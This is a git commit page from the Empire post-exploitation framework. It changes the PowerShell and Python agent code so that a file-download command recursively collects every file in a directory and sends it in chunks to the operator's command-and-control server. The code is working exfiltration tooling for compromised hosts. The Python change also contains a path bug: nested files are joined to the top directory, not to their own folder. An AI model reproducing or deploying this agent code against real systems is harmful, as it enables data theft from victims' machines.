Merge branch 'directory_download' of https://github.com/winnie22/Empire into winnie22-directory_download

fix-for-1142
xorrior 2018-05-02 09:23:20 -04:00
commit 8d32e7e4d0
2 changed files with 65 additions and 51 deletions

View File

@ -840,16 +840,17 @@ function Invoke-Empire {
$ChunkSize = 1024KB
}
# resolve the complete path
$Path = Get-Childitem $Path | ForEach-Object {$_.FullName}
# resolve the complete paths
$Path = Get-Childitem -Recurse $Path -File | ForEach-Object {$_.FullName}
foreach ( $File in $Path) {
# read in and send the specified chunk size back for as long as the file has more parts
$Index = 0
do{
$EncodedPart = Get-FilePart -File "$path" -Index $Index -ChunkSize $ChunkSize
$EncodedPart = Get-FilePart -File "$file" -Index $Index -ChunkSize $ChunkSize
if($EncodedPart) {
$data = "{0}|{1}|{2}" -f $Index, $path, $EncodedPart
$data = "{0}|{1}|{2}" -f $Index, $file, $EncodedPart
(& $SendMessage -Packets $(Encode-Packet -type $type -data $($data) -ResultID $ResultID))
$Index += 1
@ -870,7 +871,8 @@ function Invoke-Empire {
[GC]::Collect()
} while($EncodedPart)
Encode-Packet -type 40 -data "[*] File download of $path completed" -ResultID $ResultID
Encode-Packet -type 40 -data "[*] File download of $file completed" -ResultID $ResultID
}
}
catch {
Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID $ResultID

View File

@ -280,10 +280,22 @@ def process_packet(packetType, data, resultID):
elif packetType == 41:
# file download
filePath = os.path.abspath(data)
if not os.path.exists(filePath):
objPath = os.path.abspath(data)
fileList = []
if not os.path.exists(objPath):
return build_response_packet(40, "file does not exist or cannot be accessed", resultID)
if not os.path.isdir(objPath):
fileList.append(objPath)
else:
# recursive dir listing
for folder, subs, files in os.walk(objPath):
for filename in files:
#dont care about symlinks
if os.path.exists(objPath):
fileList.append(objPath + "/" + filename)
for filePath in fileList:
offset = 0
size = os.path.getsize(filePath)
partIndex = 0